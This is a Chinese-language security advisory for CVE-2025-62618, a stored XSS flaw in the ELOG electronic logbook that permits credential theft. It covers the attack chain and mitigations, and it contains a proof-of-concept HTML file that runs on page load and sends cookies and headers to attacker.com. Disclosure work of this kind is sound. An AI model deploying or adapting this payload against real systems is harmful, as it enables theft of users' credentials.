IPBUF安全漏洞报告
English
CVE-2025-62618 CVSS 8.0 高危

CVE-2025-62618 ELOG存储型XSS漏洞允许窃取凭据

披露日期: 2025-10-31
来源: 9119a7d8-5eab-497f-8521-727c672e3725

漏洞信息

漏洞编号
CVE-2025-62618
漏洞类型
存储型XSS/凭证窃取
CVSS评分
8.0 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
ELOG (Electronic Logbook)

相关标签

CVE-2025-62618存储型XSSELOG凭证窃取电子日志系统HTML文件上传密码哈希泄露高危漏洞

漏洞概述

CVE-2025-62618是ELOG电子日志系统中的一个高危安全漏洞,CVSS评分达到8.0分。该漏洞允许已认证用户上传任意HTML文件,当其他用户打开这些文件时,HTML内容会在其浏览器上下文中执行,形成存储型跨站脚本攻击(Stored XSS)。由于ELOG在某些HTTP请求中包含用户名和密码哈希,攻击者可以通过恶意HTML脚本窃取受害者的凭据信息,包括明文密码或可重放的密码哈希。攻击者随后可以离线破解密码哈希或直接重放窃取的会话凭据进行横向移动。漏洞影响所有未修复的ELOG版本,在2025年10月14日发布的3.1.5版本中已修复,HTML文件现在以纯文本形式渲染,不再执行恶意代码。

技术细节

ELOG系统的文件上传功能存在安全验证缺陷,认证用户可以上传任意扩展名的文件包括.html文件。上传后的HTML文件存储在服务器上,当其他用户通过浏览器访问这些文件时,HTML内容会被浏览器解析执行。攻击者构造包含JavaScript代码的恶意HTML文件,当受害者打开该文件时,脚本会在受害者的浏览器会话上下文中运行。由于ELOG系统某些页面会显示用户名和发送包含密码哈希的HTTP请求头,恶意脚本可以窃取这些敏感信息并发送给攻击者控制的服务器。窃取的凭据可用于重放攻击或离线彩虹表破解。该漏洞属于存储型XSS(Stored XSS),相比反射型XSS危害更大,因为恶意代码持久化存储在服务器上,所有访问该文件的用户都会受到影响。修复方案在3.1.5-20251014版本中实现,将HTML文件作为纯文本下载而非在浏览器中渲染执行。

攻击链分析

STEP 1
步骤1: 侦察与登录
攻击者获取ELOG系统账户,低权限用户即可。可以通过默认凭据、暴力破解或社工方式获取。
STEP 2
步骤2: 上传恶意HTML文件
攻击者通过ELOG的文件上传功能上传包含恶意JavaScript代码的HTML文件,该文件伪装成正常的日志附件。
STEP 3
步骤3: 诱导受害者访问
攻击者通过社交工程手段诱导其他用户(可能是管理员)打开或预览该恶意HTML文件。
STEP 4
步骤4: XSS执行与凭据窃取
当受害者浏览器加载HTML文件时,恶意JavaScript在其浏览器上下文中执行,窃取用户名、密码哈希、Cookie等敏感信息。
STEP 5
步骤5: 凭据利用
攻击者将窃取的凭据发送至远程服务器,可选择重放会话或离线破解密码哈希以获得明文密码。
STEP 6
步骤6: 横向移动
获得更高权限账户后,攻击者可访问敏感日志数据、修改系统配置或进一步渗透内网系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-62618 PoC - Malicious HTML file for ELOG credential theft --> <!-- Upload this file to ELOG and trick users to open it --> <html> <head> <title>Log File</title> </head> <body> <script> // Steal credentials and send to attacker server function stealCredentials() { // Get username from page var username = document.querySelector('selector-for-username')?.textContent || ''; // Extract credentials from HTTP requests var xhr = new XMLHttpRequest(); xhr.open('GET', '/elog/', true); xhr.onload = function() { // Extract session/credential info from response headers var creds = { username: username, cookies: document.cookie, headers: xhr.getAllResponseHeaders() }; // Send stolen data to attacker server var exfil = new XMLHttpRequest(); exfil.open('POST', 'https://attacker.com/steal', true); exfil.send(JSON.stringify(creds)); }; xhr.send(); } // Execute on page load window.onload = stealCredentials; </script> <h1>Viewing Log Entry</h1> <p>This file appears to be a normal log file.</p> </body> </html>

影响范围

ELOG < 3.1.5-20251014

防御指南

临时缓解措施
立即将ELOG升级到3.1.5-20251014版本以获得官方修复。暂时可通过配置Web服务器(如nginx/Apache)对.html文件设置Content-Type: text/plain响应头,强制浏览器以纯文本形式显示而非执行HTML代码。同时限制文件上传功能权限,仅允许受信任的管理员上传附件,并对所有上传文件进行病毒和恶意代码扫描。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表